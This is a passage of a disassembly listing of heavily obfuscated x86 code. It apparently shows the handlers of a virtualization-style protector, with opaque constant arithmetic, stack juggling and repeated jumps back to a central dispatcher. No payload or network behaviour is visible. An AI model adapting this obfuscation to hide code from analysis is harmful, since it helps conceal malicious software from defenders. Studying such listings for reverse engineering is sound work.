; --------------------------------------------------------------------------- loc_589C56: ; CODE XREF: sub_580566+7478j push ebx mov ebx, 2 add esi, ebx pop ebx xor esi, [esp-32h+arg_28+2] jmp loc_590047 ; --------------------------------------------------------------------------- loc_589C67: ; CODE XREF: sub_580566+6853j dec cl sub cl, 7Dh sub al, cl pop ecx push 21EBh jmp loc_589240 ; --------------------------------------------------------------------------- loc_589C79: ; CODE XREF: sub_580566+D38Fj mov esi, edi pop edi xor [esp-3Ah+arg_34+2], esi mov esi, [esp-3Ah+arg_30+2] push esi push esp mov esi, [esp-32h+arg_28+2] add esp, 4 add esi, 4 add esi, 4 jmp loc_5893FF ; --------------------------------------------------------------------------- loc_589C99: ; CODE XREF: sub_580566+C26Ej sub esp, 4 jmp loc_5895C0 ; --------------------------------------------------------------------------- loc_589CA4: ; CODE XREF: sub_580566+C4F5j add esp, 4 push ebp mov ebp, 6D292F47h shl ebp, 1 shl ebp, 4 xor ebp, 0B356720h not ebp jmp loc_5880DD ; --------------------------------------------------------------------------- loc_589CBF: ; CODE XREF: sub_580566+F608j mov [esp-32h+arg_28+2], esi mov esi, 437F344Ah xor ebx, esi mov esi, [esp-32h+arg_28+2] jmp loc_587075 ; --------------------------------------------------------------------------- loc_589CD1: ; CODE XREF: sub_580566+7302j sub ebp, 66713B30h shl ebp, 2 xor ebp, 0E79A1593h mov ecx, ebp push dword ptr [esp+0] pop ebp add esp, 4 and ecx, 276A7B5Ch jmp loc_590308 ; --------------------------------------------------------------------------- loc_589CF7: ; CODE XREF: sub_580566+8EBCj add eax, 2BEB09EFh xor eax, 25F2AD6Fh xor ebp, eax mov eax, [esp-2Eh+arg_24+2] add esp, 4 sub esi, 0B923740h add esi, ebp jmp loc_58BCA1 ; --------------------------------------------------------------------------- loc_589D19: ; CODE XREF: sub_580566+E12Aj xor esi, ebx pop ebx push edx mov edx, 1DB53B69h add esi, edx pop edx add ebp, esi jmp loc_5890DC ; --------------------------------------------------------------------------- loc_589D2C: ; CODE XREF: sub_580566+FECDj add esp, 4 push edx mov edx, esp jmp loc_58CF55 ; --------------------------------------------------------------------------- loc_589D37: ; CODE XREF: sub_580566+CEDDj push esp jmp loc_585A1C ; --------------------------------------------------------------------------- loc_589D3D: ; CODE XREF: sub_580566+CB5Bj jmp loc_584473 ; --------------------------------------------------------------------------- loc_589D42: ; CODE XREF: sub_580566+54E0j mov [esp-24h+arg_1A+2], esp add [esp-24h+arg_1A+2], 4 pop [esp-24h+arg_1A+2] push ecx mov ecx, 4 add [esp-24h+arg_20], ecx pop ecx mov ebx, [esp-28h+arg_20] add esp, 4 push eax push ebx push 7F404408h pop ebx xor ebx, 3F601DD2h mov eax, ebx pop ebx shr eax, 8 jmp loc_58BD85 ; --------------------------------------------------------------------------- loc_589D79: ; CODE XREF: sub_580566+74B1j mov [esp-0Ch+arg_8], ecx jmp loc_5904D6 ; --------------------------------------------------------------------------- loc_589D81: ; CODE XREF: sub_580566+9D50j mov eax, [esp-0Ch+arg_8] push edx jmp loc_589349 ; --------------------------------------------------------------------------- loc_589D8A: ; CODE XREF: sub_580566+ED54j add al, 53h jmp loc_58FCE7 ; --------------------------------------------------------------------------- loc_589D91: ; CODE XREF: sub_580566+4965j mov esi, 1E670CD5h jmp loc_587A28 ; --------------------------------------------------------------------------- loc_589D9B: ; CODE XREF: sub_580566+66C8j add esp, 4 add ebx, 4 push ebp mov ebp, 4 push esi mov esi, 675B7C64h jmp loc_58B00B ; --------------------------------------------------------------------------- loc_589DB5: ; CODE XREF: sub_580566+4231j mov edx, [esp+8+var_8] jmp loc_5858EE ; --------------------------------------------------------------------------- loc_589DBD: ; CODE XREF: sub_580566+ED8Ej pop eax xor al, ch push [esp+4+var_4] pop ecx jmp loc_58A317 ; --------------------------------------------------------------------------- loc_589DC9: ; CODE XREF: sub_580566+B4D3j mov ebx, [esp+4+var_4] add esp, 4 jmp loc_585752 ; --------------------------------------------------------------------------- loc_589DD4: ; CODE XREF: sub_580566+EF1Fj mov edx, 4 add ecx, edx jmp loc_58FCFA ; --------------------------------------------------------------------------- loc_589DE0: ; CODE XREF: sub_580566+EF9Fj not ecx jmp loc_58C930 ; --------------------------------------------------------------------------- loc_589DE7: ; CODE XREF: sub_580566+8081j add ecx, 7EE0EF8h mov edx, ecx jmp loc_586AE6 ; --------------------------------------------------------------------------- loc_589DF4: ; CODE XREF: sub_580566+F5B8j push eax neg byte ptr [esp-1Ch+arg_12+2] pop eax xor al, 0Fh jmp loc_58EFB5 ; --------------------------------------------------------------------------- loc_589E00: ; CODE XREF: sub_580566+905Dj push dword ptr [esp+4] pop edi pop [esp+4+var_4] mov esp, [esp+0] add esp, 4 div ecx push 3ECCh mov [esp+0], edx push eax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_589E22: ; CODE XREF: sub_580566+7024j mov edi, [esp-38h+arg_30] add esp, 4 sub esp, 4 mov [esp-38h+arg_30], edx jmp loc_58FCAE ; --------------------------------------------------------------------------- loc_589E33: ; CODE XREF: sub_580566+C08Dj sub esp, 4 mov [esp-34h+arg_2C], ecx mov ecx, 1 push eax sub esp, 4 mov [esp-2Ch+arg_24], eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp-2Ch+arg_24] pop esp mov [esp-30h+arg_28], ecx mov ecx, 34600664h mov eax, 34600688h sub eax, ecx pop ecx sub eax, 6C3542B4h add eax, edi push 6026h mov [esp-30h+arg_28], esi mov esi, 5B377309h sub esi, 1EC65B0Eh sub esi, 0D03BD547h add eax, esi pop esi add [eax], ecx jmp loc_5882B8 ; --------------------------------------------------------------------------- loc_589E92: ; CODE XREF: sub_580566+10172j push edx jmp loc_58E354 ; --------------------------------------------------------------------------- loc_589E98: ; CODE XREF: sub_580566+805Cj add ebp, edx mov edx, [esp-28h+arg_20] jmp loc_58BDEC ; --------------------------------------------------------------------------- loc_589EA2: ; CODE XREF: sub_580566+8CA8j inc bh sub bh, 0DBh add al, bh pop ebx push [esp+6+var_8+2] pop edx add esp, 4 push eax mov ah, 6 sub bl, 0B5h add bl, ah jmp loc_58F148 ; --------------------------------------------------------------------------- loc_589EBE: ; CODE XREF: sub_580566+633Fj xor eax, 661A0FB3h dec eax sub eax, 0F2A349B7h add esi, eax pop eax pop ecx add ebx, esi jmp loc_58AF27 ; --------------------------------------------------------------------------- loc_589ED4: ; CODE XREF: sub_580566+5E34j push esp mov ecx, [esp-0Ch+arg_8] add esp, 4 push esi push 28346369h pop esi shl esi, 3 jmp loc_58959B ; --------------------------------------------------------------------------- loc_589EED: ; CODE XREF: sub_580566+4994j mov ebx, ebp pop ebp jmp loc_5858B6 ; --------------------------------------------------------------------------- loc_589EF5: ; CODE XREF: sub_580566+FC81j xor esi, [esp-18h+arg_E+2] xor [esp-18h+arg_E+2], esi xor esi, [esp-18h+arg_E+2] pop esp push dword ptr [edi+1Ch] push [esp-18h+arg_E+2] pop ecx sub esp, 4 mov [esp-14h+arg_A+2], ebx jmp loc_59014B ; --------------------------------------------------------------------------- loc_589F14: ; CODE XREF: sub_580566+C4AFj mov esi, 0E47F6C64h add ecx, esi pop esi mov ebp, ecx pop ecx add edi, ebp pop ebp add edi, 2 xor edi, [esp-20h+arg_16+2] xor [esp-20h+arg_16+2], edi jmp loc_58A9AB ; --------------------------------------------------------------------------- loc_589F33: ; CODE XREF: sub_580566+68EBj add eax, edx jmp loc_58AE9F ; --------------------------------------------------------------------------- loc_589F3A: ; CODE XREF: sub_580566+69C6j inc bl dec bl neg bl shl bl, 1 xor bl, 0D1h add al, bl pop ebx jmp loc_58C407 ; --------------------------------------------------------------------------- loc_589F4D: ; CODE XREF: sub_580566+E9BFj pop ecx mov ebx, esi pop esi add ebx, 0ECF3B5B7h add edx, ebx pop ebx push 7765h mov [esp-12h+arg_A], ecx mov ecx, 4 add edx, ecx pop ecx xchg edx, [esp-16h+arg_E] jmp loc_58D499 ; --------------------------------------------------------------------------- loc_589F72: ; CODE XREF: sub_580566+4D0Fj neg ebp not ebp neg ebp jmp loc_585828 ; --------------------------------------------------------------------------- loc_589F7D: ; CODE XREF: sub_580566+EFD0j pop ebp pop dword ptr [esp+0] pop esp push 6D6Ch mov [esp-0Ah+arg_4+2], eax jmp loc_584473 ; --------------------------------------------------------------------------- loc_589F8F: ; CODE XREF: sub_580566+73AEj pop eax sub eax, 2C861353h push [esp-2Ch+arg_24] mov ebp, [esp-28h+arg_20] add esp, 4 add esp, 4 shl eax, cl push ebp push 6B39h jmp loc_589B8B ; --------------------------------------------------------------------------- loc_589FB1: ; CODE XREF: sub_580566+F734j sub edi, edx sub edi, 1BF67C3Ch push [esp-28h+arg_20] pop edx jmp loc_584554 ; --------------------------------------------------------------------------- loc_589FC2: ; CODE XREF: sub_580566+B9E8j sub esp, 4 mov [esp-24h+arg_1A+2], ebx push esp pop ebx add ebx, 4 push edx mov edx, 4 add ebx, edx pop edx xchg ebx, [esp-24h+arg_1A+2] jmp loc_58BC41 ; --------------------------------------------------------------------------- loc_589FE1: ; CODE XREF: sub_580566+AE7Fj xor dl, bl jmp loc_58B0BB ; --------------------------------------------------------------------------- loc_589FE8: ; CODE XREF: sub_580566+3FABj xor edi, [esp-24h+arg_1A+2] pop esp and esi, edi mov edi, [esp-28h+arg_20] add esp, 4 not esi sub esi, 0B62EB4B2h xor eax, esi pop esi push edi push ebx jmp loc_58C6FF ; --------------------------------------------------------------------------- loc_58A006: ; CODE XREF: sub_580566+D825j pop eax jmp loc_58D3B7 ; --------------------------------------------------------------------------- loc_58A00C: ; CODE XREF: sub_580566+65BFj mov eax, 3FCB4CADh neg eax jmp loc_5852A0 ; --------------------------------------------------------------------------- loc_58A018: ; CODE XREF: sub_580566+B0EEj jmp loc_584473 ; --------------------------------------------------------------------------- loc_58A01D: ; CODE XREF: sub_580566+81CBj add ebx, 4 xchg ebx, [esp-14h+arg_A+2] mov esp, [esp-14h+arg_A+2] inc [esp-14h+arg_A+2] pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58A032: ; CODE XREF: sub_580566+D022j sub edx, edi push eax mov eax, 461F3CBCh sub edx, eax pop eax pop edi push ecx mov ecx, 5BFF2C33h inc ecx jmp loc_584A6E ; --------------------------------------------------------------------------- loc_58A04A: ; DATA XREF: sub_580566+3EAAo push dword ptr [edx] jmp loc_584473 ; --------------------------------------------------------------------------- loc_58A051: ; CODE XREF: sub_580566+762Aj push edx mov edx, esp jmp loc_58FC82 ; --------------------------------------------------------------------------- loc_58A059: ; CODE XREF: sub_580566+F539j pop ebp jmp loc_5873E5 ; --------------------------------------------------------------------------- loc_58A05F: ; CODE XREF: sub_580566+A126j pop esp mov [esp-34h+arg_2C], ebx mov bh, al push eax push edi jmp loc_58A789 ; --------------------------------------------------------------------------- loc_58A06C: ; CODE XREF: sub_580566+C8D6j sub esi, 4 xchg esi, [esp-2Ch+arg_24] mov esp, [esp-2Ch+arg_24] mov [esp-2Ch+arg_24], ecx jmp loc_58F8DB ; --------------------------------------------------------------------------- loc_58A080: ; CODE XREF: sub_580566+6F22j pop eax add esp, 4 push ebx mov bh, 66h push dx jmp loc_58F250 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 83000000h, 1C8704EBh, 24248B24h, 68241489h, 1461h, 62C68h dd 0B7A8E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58A0B2: ; CODE XREF: sub_580566+5D4Cj xor eax, edi jmp loc_58A17D ; --------------------------------------------------------------------------- loc_58A0B9: ; CODE XREF: sub_580566+9173j xor esi, [esp+6+var_8+2] xor [esp+6+var_8+2], esi xor esi, [esp+6+var_8+2] mov esp, [esp+6+var_8+2] mov eax, [esp+6+var_8+2] push 26A5h mov [esp+0Ah+var_C+2], edx push esp pop edx push esi mov esi, 4 push 6D54h mov [esp+12h+var_14+2], ebp mov ebp, 16C865AAh sub edx, ebp jmp loc_58CBF6 ; --------------------------------------------------------------------------- loc_58A0EC: ; CODE XREF: sub_580566+6516j mov ebx, [esp-2Ch+arg_24] push esi jmp loc_58D7F0 ; --------------------------------------------------------------------------- loc_58A0F5: ; CODE XREF: sub_580566+7AB7j push 0C7Ah mov [esp+4+var_4], ecx mov cl, 0A1h push eax jmp loc_58CAB1 ; --------------------------------------------------------------------------- loc_58A105: ; CODE XREF: sub_580566+E7ABj push edi mov edi, 4 jmp loc_5900E1 ; --------------------------------------------------------------------------- loc_58A110: ; CODE XREF: sub_580566+96ADj pop dword ptr [eax] add dword ptr [eax], 7A8D516Bh push [esp-2Eh+arg_24+2] jmp loc_58ABD7 ; --------------------------------------------------------------------------- loc_58A120: ; CODE XREF: sub_580566+CBB3j mov edx, esp add edx, 4 sub esp, 4 mov [esp+0], esi mov esi, 4 add edx, esi pop esi push edx push [esp-26h+arg_20+2] pop edx pop dword ptr [esp+0] jmp loc_58E671 ; --------------------------------------------------------------------------- loc_58A147: ; CODE XREF: sub_580566+EA4Aj push ebp mov ebp, esp jmp loc_59075E ; --------------------------------------------------------------------------- loc_58A14F: ; DATA XREF: sub_580566+3CB2o mov ax, [esp+0] jmp loc_58F6C1 ; --------------------------------------------------------------------------- loc_58A158: ; CODE XREF: sub_580566+6D5Aj mov bh, 6 sub bh, 1 not bh push small 3732h mov word ptr [esp-1Ch+arg_12+2], ax mov al, 0C0h or bh, al mov ax, word ptr [esp-1Ch+arg_12+2] push edi mov edi, esp add edi, 4 jmp loc_584A1B ; --------------------------------------------------------------------------- loc_58A17D: ; CODE XREF: sub_580566+9B4Ej xor edi, eax push eax not dword ptr [esp+0] pop eax xchg eax, edi sub esp, 4 mov [esp+0], edi push dword ptr [esp+4] pop edi pop dword ptr [esp+0] jmp loc_588F72 ; --------------------------------------------------------------------------- loc_58A198: ; CODE XREF: sub_580566+6424j mov ecx, ebx jmp loc_589744 ; --------------------------------------------------------------------------- loc_58A19F: ; CODE XREF: sub_580566+418Cj add [esp+8+var_8], 4 pop ebx jmp loc_584C11 ; --------------------------------------------------------------------------- loc_58A1AC: ; DATA XREF: sub_580566+3E6Ao lodsd push edi mov edi, 320F1C09h jmp loc_58C648 ; --------------------------------------------------------------------------- loc_58A1B8: ; CODE XREF: sub_580566+912Bj sub edx, 626C253Eh jmp loc_58E43D ; --------------------------------------------------------------------------- loc_58A1C3: ; CODE XREF: sub_580566+5232j mov [esp-32h+arg_28+2], edi push edx mov edx, 333815EEh mov edi, 2FE21710h xor edi, edx mov edx, [esp-2Eh+arg_24+2] sub esp, 4 mov [esp-2Ah+arg_20+2], edi push esp mov edi, [esp+0] jmp loc_587288 ; --------------------------------------------------------------------------- loc_58A1E5: ; CODE XREF: sub_580566+A8D4j add edi, 38604090h jmp loc_59045E ; --------------------------------------------------------------------------- loc_58A1F0: ; CODE XREF: sub_580566+494Aj mov ecx, esp add ecx, 4 jmp loc_58DCF8 ; --------------------------------------------------------------------------- loc_58A1FD: ; CODE XREF: sub_580566+F5F0j pop ebp push ecx mov edi, [esp-20h+arg_16+2] add esp, 4 pop ecx push eax mov eax, 41540643h mov ecx, eax pop eax add ecx, edi mov edi, [esp-28h+arg_20] jmp loc_58AEFF ; --------------------------------------------------------------------------- loc_58A21C: ; CODE XREF: sub_580566+F14Bj add ah, 70h shl ah, 3 add ah, 52h or cl, ah pop eax and cl, 0C8h push dx mov dh, 46h sub cl, dh pop dx jmp loc_588687 ; --------------------------------------------------------------------------- loc_58A238: ; CODE XREF: sub_580566+A5F4j pop edi jmp loc_58FFD9 ; --------------------------------------------------------------------------- loc_58A23E: ; CODE XREF: sub_580566+ECB1j push [esp-30h+arg_28] mov eax, [esp-2Ch+arg_24] add esp, 4 add esp, 4 push edx mov edx, esp jmp loc_58BA3E ; --------------------------------------------------------------------------- loc_58A255: ; CODE XREF: sub_580566+52C8j sub ebp, 0CFDAF15Ah push ebp pop ebx pop ebp shl ebx, 5 neg ebx neg ebx push 75E6h mov [esp+0], ebx not dword ptr [esp+0] pop ebx shr ebx, 5 sub ebx, 0F7A78D81h xor ebp, ebx pop ebx push ebp jmp loc_58790D ; --------------------------------------------------------------------------- loc_58A283: ; CODE XREF: sub_580566+ACC7j mov [esp-2Ah+arg_20+2], esi push 741D4561h pop esi xchg ebx, esi dec ebx xchg ebx, esi xor esi, 3B68433Dh mov ecx, esi pop esi jmp loc_585C96 ; --------------------------------------------------------------------------- loc_58A29F: ; CODE XREF: sub_580566+868Aj jmp loc_584473 ; --------------------------------------------------------------------------- loc_58A2A4: ; CODE XREF: sub_580566+8CB5j xchg esi, [esp+0] pop esp bts word ptr [esp-14h+arg_A+2], ax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58A2B3: ; DATA XREF: sub_580566+3DCAo push [esp-30h+arg_28] jmp loc_589D81 ; --------------------------------------------------------------------------- loc_58A2BB: ; CODE XREF: sub_580566+78AAj pop esi jmp loc_58C060 ; --------------------------------------------------------------------------- loc_58A2C1: ; DATA XREF: sub_580566+3C7Ao lodsd push edi sub esp, 4 mov [esp+4+var_4], ecx mov ecx, 66077182h push ecx pop edi push [esp+4+var_4] pop ecx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+8+var_8] pop esp push ecx mov ecx, 1FE57EDDh sub ecx, 1FE57EDCh sub edi, ecx pop ecx shr edi, 8 shl edi, 8 add edi, 0DB73D906h add esi, 247155CAh sub esi, edi jmp loc_58D7DC ; --------------------------------------------------------------------------- loc_58A30C: ; CODE XREF: sub_580566+4B40j push edx mov dl, 77h add dl, 0E5h jmp loc_586667 ; --------------------------------------------------------------------------- loc_58A317: ; CODE XREF: sub_580566+985Ej sub esp, 4 mov [esp+8+var_8], esi push esp pop esi push edx mov edx, 4C933311h inc edx dec edx sub edx, 40EF74FBh jmp loc_58C9D5 ; --------------------------------------------------------------------------- loc_58A335: ; DATA XREF: sub_580566+3D12o push eax jmp loc_587554 ; --------------------------------------------------------------------------- loc_58A33B: ; CODE XREF: sub_580566+4BE5j pop edi push edi xchg esi, [esp-18h+arg_E+2] not esi xchg esi, [esp-18h+arg_E+2] jmp loc_588993 ; --------------------------------------------------------------------------- loc_58A34A: ; CODE XREF: sub_580566+D2AAj push 2B6Bh jmp loc_58EE11 ; --------------------------------------------------------------------------- loc_58A354: ; CODE XREF: sub_580566+EFA7j add esp, 4 xor ebx, [esp-18h+arg_E+2] xor [esp-18h+arg_E+2], ebx xor ebx, [esp-18h+arg_E+2] pop esp mov ax, word ptr [esp-1Ch+arg_12+2] sub esp, 4 mov [esp-18h+arg_E+2], edx push edx mov edx, esp add edx, 4 jmp loc_5881AD ; --------------------------------------------------------------------------- loc_58A37C: ; CODE XREF: sub_580566+C222j xor [esp-14h+arg_A+2], ebx xor ebx, [esp-14h+arg_A+2] xor [esp-14h+arg_A+2], ebx push [esp-14h+arg_A+2] pop eax add esp, 4 jmp loc_585C0B ; --------------------------------------------------------------------------- loc_58A391: ; CODE XREF: sub_580566+4669j xor ebx, eax jmp loc_5900AB ; --------------------------------------------------------------------------- loc_58A398: ; CODE XREF: sub_580566+B84Dj not ebx not ebx not ebx add ebx, 8DB1DBCh xor ebp, ebx pop ebx sub ebp, 65F62B68h sub ebp, 9DD6EBB2h add edx, ebp pop ebp xchg edx, [esp-42h+arg_38+2] mov esp, [esp-42h+arg_38+2] movzx ecx, ax push 74E9h mov [esp-3Eh+arg_34+2], ecx jmp loc_584473 ; --------------------------------------------------------------------------- loc_58A3CC: ; CODE XREF: sub_580566+DF0Dj mov edx, [esp-3Eh+arg_34+2] jmp loc_58479C ; --------------------------------------------------------------------------- loc_58A3D4: ; CODE XREF: sub_580566+10014j sub eax, ebx sub eax, 3A8150Ah add eax, 65662318h push ecx push esi push 0FF97CF5h pop esi jmp loc_58E967 ; --------------------------------------------------------------------------- loc_58A3ED: ; CODE XREF: sub_580566+CBEEj add edx, 4 add edx, 4 xchg edx, [esp-36h+arg_2C+2] jmp loc_58DC9F ; --------------------------------------------------------------------------- loc_58A3FE: ; CODE XREF: sub_580566+7188j pop edi push esi mov esi, 37934F6Bh xor esi, 37934F6Fh push ebx push 748B05C6h mov ebx, [esp-20h+arg_16+2] jmp loc_59048C ; --------------------------------------------------------------------------- loc_58A419: ; CODE XREF: sub_580566+5BB7j mov ebx, 69AC4FCEh inc ebx not ebx jmp loc_58A73E ; --------------------------------------------------------------------------- loc_58A426: ; CODE XREF: sub_580566+BDB9j movzx cx, al push 1594h jmp loc_58AF45 ; --------------------------------------------------------------------------- loc_58A434: ; CODE XREF: sub_580566+6348j jmp loc_584473 ; --------------------------------------------------------------------------- loc_58A439: ; CODE XREF: sub_580566+7716j xor word ptr [esp-1Ch+arg_12+2], ax pushf jmp loc_58D686 ; --------------------------------------------------------------------------- loc_58A443: ; DATA XREF: sub_580566+3CA2o mov cx, [esp+0] jmp loc_587039 ; --------------------------------------------------------------------------- loc_58A44C: ; CODE XREF: sub_580566+F576j dec ebx jmp loc_58ABBA ; --------------------------------------------------------------------------- loc_58A452: ; CODE XREF: sub_580566+8E50j pop edi jmp loc_585FC6 ; --------------------------------------------------------------------------- loc_58A458: ; CODE XREF: sub_580566+5928j push ebp mov ebp, 2 sub ebx, 7A755C0h add ebx, ebp add ebx, 7A755C0h jmp loc_5866AF ; --------------------------------------------------------------------------- loc_58A471: ; CODE XREF: sub_580566+F133j mov [esp-14h+arg_A+2], ebp jmp loc_587B0F ; --------------------------------------------------------------------------- loc_58A479: ; CODE XREF: sub_580566+AD53j or edi, esi jmp loc_58DD58 ; --------------------------------------------------------------------------- loc_58A480: ; CODE XREF: sub_580566+96A1j mov edi, eax pop eax push esi jmp loc_58E70D ; --------------------------------------------------------------------------- loc_58A489: ; CODE XREF: sub_580566+9561j xor edi, 7CC75550h add edx, edi jmp loc_586558 ; --------------------------------------------------------------------------- loc_58A496: ; CODE XREF: sub_580566+7CC2j sub al, 0A8h pop ebx push ecx push eax mov al, 0F3h add al, 47h not al inc al push ebx jmp loc_58DCEC ; --------------------------------------------------------------------------- loc_58A4A9: ; DATA XREF: sub_580566+3E86o lodsd xor eax, ebx push 5959h mov [esp-2Ch+arg_24], ebx push 74EED990h push [esp-28h+arg_20] pop ebx push 0BF2h mov [esp-24h+arg_1A+2], edi mov edi, esp push edx jmp loc_584837 ; --------------------------------------------------------------------------- loc_58A4CD: ; CODE XREF: sub_580566+E524j mov edi, ecx pop ecx jmp loc_584725 ; --------------------------------------------------------------------------- loc_58A4D5: ; CODE XREF: sub_580566+F4C1j mov cx, word ptr [esp-24h+arg_1A+2] add esp, 2 push dx push 5EB2h mov [esp-22h+arg_1A], eax mov al, 0A2h dec al jmp loc_58E90F ; --------------------------------------------------------------------------- loc_58A4F2: ; CODE XREF: sub_580566+F7C9j mov ecx, [esp-22h+arg_1A] add esp, 4 push ebp mov ebp, esp jmp loc_58D606 ; --------------------------------------------------------------------------- loc_58A503: ; CODE XREF: sub_580566+789Dj mov ebp, 3275B48h shr ebp, 6 jmp loc_58B6FC ; --------------------------------------------------------------------------- loc_58A510: ; CODE XREF: sub_580566+D63Ej push ebp mov ebp, 6EA27BD7h jmp loc_584EEC ; --------------------------------------------------------------------------- loc_58A51B: ; CODE XREF: sub_580566+7C1Aj pop ebx jmp loc_58D04B ; --------------------------------------------------------------------------- loc_58A521: ; CODE XREF: sub_580566+F5DBj push [esp-24h+arg_1A+2] pop ebx add esp, 4 add ebx, 48EE7A36h add ecx, ebx mov ebx, [esp-28h+arg_20] add esp, 4 jmp loc_584BB4 ; --------------------------------------------------------------------------- loc_58A53E: ; CODE XREF: sub_580566+91F4j mov esi, 0ABD68DAh push 0 sub [esp-34h+arg_2C], esi mov esi, [esp-34h+arg_2C] add esp, 4 jmp loc_58AD18 ; --------------------------------------------------------------------------- loc_58A556: ; CODE XREF: sub_580566+B527j xchg eax, [esp-38h+arg_30] mov edx, [esp-38h+arg_30] add esp, 4 xor [esp-3Ch+arg_34], edx jmp loc_588723 ; --------------------------------------------------------------------------- loc_58A56A: ; CODE XREF: sub_580566+8135j jmp loc_584473 ; --------------------------------------------------------------------------- loc_58A56F: ; CODE XREF: sub_580566+101CFj pop ebx pop eax push cx mov cl, 74h add dh, cl jmp loc_587BA4 ; --------------------------------------------------------------------------- loc_58A57C: ; DATA XREF: sub_580566+3DEEo mov ax, word ptr [esp-30h+arg_28] push edi push 0C9Dh mov [esp-28h+arg_20], esp jmp loc_58D710 ; --------------------------------------------------------------------------- loc_58A58E: ; CODE XREF: sub_580566+D9E2j sub edi, 72BD3029h add edi, 1AE41B3h not edi sub edi, 3F9C6AA6h jmp loc_58E825 ; --------------------------------------------------------------------------- loc_58A5A7: ; CODE XREF: sub_580566+8E56j push 140A5EB6h pop ecx and ecx, 23D86E16h and ecx, 3FF80389h xor ecx, 1D7071F5h mov esi, ecx pop ecx dec esi push edi mov edi, 0FFFFFFFFh add esi, edi pop edi jmp loc_58AF1C ; --------------------------------------------------------------------------- loc_58A5D1: ; CODE XREF: sub_580566+E5BAj pop edi push ebx push [esp-14h+arg_E+2] mov ebx, [esp+0] add esp, 4 pop [esp-14h+arg_A+2] mov esp, [esp-18h+arg_E+2] push esi push esp pop esi jmp loc_5871B8 ; --------------------------------------------------------------------------- loc_58A5EE: ; CODE XREF: sub_580566+6D83j push eax mov eax, 83D4174h mov ebx, 74FC2142h add ebx, 20B82844h sub ebx, 10012FBEh add ebx, eax jmp loc_58E89E ; --------------------------------------------------------------------------- loc_58A60C: ; CODE XREF: sub_580566+D2DDj push ebp jmp loc_5855BF ; --------------------------------------------------------------------------- loc_58A612: ; CODE XREF: sub_580566+6FFCj add esp, 4 xor ch, dh xor dh, ch xor ch, dh push ebx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp-34h+arg_2C] pop esp mov [esp-38h+arg_30], eax jmp loc_588A18 ; --------------------------------------------------------------------------- loc_58A634: ; CODE XREF: sub_580566+4728j add esp, 4 sub edi, 28504DC5h mov ebp, edi pop edi add esi, ebp mov ebp, [esp-24h+arg_1A+2] add esp, 4 xchg esi, [esp-28h+arg_20] pop esp jmp loc_584473 ; --------------------------------------------------------------------------- loc_58A654: ; CODE XREF: sub_580566+DA06j add eax, ebx pop ebx push 3769h mov [esp-2Ch+arg_24], edx push 24BEh mov [esp-28h+arg_20], esi mov esi, 6E5B096Bh jmp loc_584D21 ; --------------------------------------------------------------------------- loc_58A671: ; CODE XREF: sub_580566+5363j mov ch, 6Eh sub bl, ch pop cx sub bl, 65h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp-1Eh+arg_16] jmp loc_58A05F ; --------------------------------------------------------------------------- loc_58A691: ; CODE XREF: sub_580566+A9B1j mov ecx, 54516A68h shl ecx, 1 shl ecx, 2 sub ecx, 658E2EA5h jmp loc_58C2A5 ; --------------------------------------------------------------------------- loc_58A6A6: ; CODE XREF: sub_580566+B5BBj mov ebp, [esp-1Eh+arg_16] add esp, 4 push edx mov edx, 1E2C09B2h push ecx mov ecx, 0FFFFFFFFh sub edx, ecx pop ecx dec edx add edx, 0E1D3F652h sub ebp, 405F3901h add ebp, edx jmp loc_589147 ; --------------------------------------------------------------------------- loc_58A6CF: ; CODE XREF: sub_580566+A732j add edx, esi pop esi shr edx, 6 jmp loc_5867D4 ; --------------------------------------------------------------------------- loc_58A6DA: ; CODE XREF: sub_580566+C7FAj dec ebp add ebp, 1 push edx push esi push edi mov edi, 60F53DC4h jmp loc_58F9EE ; --------------------------------------------------------------------------- loc_58A6EE: ; CODE XREF: sub_580566+9432j xchg eax, [esp-18h+arg_E+2] mov esp, [esp-18h+arg_E+2] jmp loc_588CE5 ; --------------------------------------------------------------------------- loc_58A6F9: ; CODE XREF: sub_580566+79C4j mov [esp+10h+var_10], edx push [esp+10h+var_C] jmp loc_5905DA ; --------------------------------------------------------------------------- loc_58A705: ; CODE XREF: sub_580566+B845j mov eax, 3E85121Bh sub ecx, eax pop eax and ecx, 62A23D5Eh shl ecx, 5 push esi push edi jmp loc_58F2DC ; --------------------------------------------------------------------------- loc_58A71D: ; DATA XREF: sub_580566+3CAEo mov ax, [esp+0] push ebx mov ebx, esp add ebx, 4 push edi mov edi, 1ED517A0h shl edi, 2 add edi, 6D291915h jmp loc_586879 ; --------------------------------------------------------------------------- loc_58A73E: ; CODE XREF: sub_580566+9EBBj dec ebx shr ebx, 4 jmp loc_5853C6 ; --------------------------------------------------------------------------- loc_58A747: ; CODE XREF: sub_580566+7F3Aj pop eax push ecx push eax mov al, 0B4h sub al, 0B6h jmp loc_58EA2F ; --------------------------------------------------------------------------- loc_58A753: ; CODE XREF: sub_580566+E072j add esp, [edx+38h] jmp loc_58B58B ; --------------------------------------------------------------------------- loc_58A75B: ; CODE XREF: sub_580566+B319j sub dword ptr [esp+4], 2B395AD7h jmp loc_58C808 ; --------------------------------------------------------------------------- loc_58A768: ; CODE XREF: sub_580566+D648j xor ecx, ebp mov ebp, [esp+4+var_4] add esp, 4 jmp loc_58BD4C ; --------------------------------------------------------------------------- loc_58A778: ; CODE XREF: sub_580566+D8D2j xor ebx, 65E36CA6h sub ebx, 7126742Dh jmp loc_5846C0 ; --------------------------------------------------------------------------- loc_58A789: ; CODE XREF: sub_580566+9B01j mov edi, 23B80860h dec edi neg edi and edi, 69E11CF7h jmp loc_5858D4 ; --------------------------------------------------------------------------- loc_58A79C: ; CODE XREF: sub_580566+B786j mov ch, bh push ebx jmp loc_58945D ; --------------------------------------------------------------------------- loc_58A7A4: ; CODE XREF: sub_580566+6F0Cj push eax push edx mov edx, 0A3E1564h jmp loc_58CBAF ; --------------------------------------------------------------------------- loc_58A7B0: ; CODE XREF: sub_580566+7355j add esp, 4 push eax jmp loc_58D0FB ; --------------------------------------------------------------------------- loc_58A7BC: ; CODE XREF: sub_580566+A9BCj push esi xchg edi, [esp-24h+arg_1A+2] not edi 